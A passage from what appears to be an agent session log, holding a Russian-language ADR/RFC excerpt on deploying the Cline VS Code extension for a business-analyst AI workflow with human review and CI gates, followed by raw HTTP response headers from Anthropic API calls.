endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n\\n[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool \u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n=== docs/rfc/2026-09-source-pilot-verification.md\\n\\n# RFC: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline\\n\\n## RFC Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| Owner | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0432 [issue #630](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/630); \u0434\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f \u043d\u0443\u0436\u0435\u043d \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0438\u043b\u043e\u0442\u0430 |\\n| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n| Source issue | [#630](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/630) |\\n| Impacted artifacts | `projects/ba-ai-process/ba-meta-model/`, `build/common/`, `build/adapters/cline-vscode/`, \u043e\u0431\u0430 `dist/execution-package-*`, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u2014 **\u043f\u043e\u0441\u043b\u0435** \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043d\u0435 \u0432 \u044d\u0442\u043e\u043c PR |\\n| Decision record | [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443; \u043d\u043e\u0432\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 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preload\",\n[2026-09-29T07:45:16.826Z] [STDOUT]     traceresponse: \"00-6039f8c8d94f214875f902aaf772d5ce-039e3061f439ac2b-01\",\n[2026-09-29T07:45:16.830Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:16.835Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:16.838Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:16.842Z] [STDOUT]   },\n[2026-09-29T07:45:16.847Z] [STDOUT]   durationMs: 925,\n[2026-09-29T07:45:16.852Z] [STDOUT] }\n[2026-09-29T07:45:16.855Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:16.859Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:16 GMT\",\n[2026-09-29T07:45:16.865Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:16.868Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:16.878Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:16.884Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:16.891Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:16.895Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:16.903Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:16.908Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:16.913Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:16.919Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:16.925Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:16.928Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:16.933Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:16.936Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:16.939Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:16.943Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:16.948Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:16.951Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": 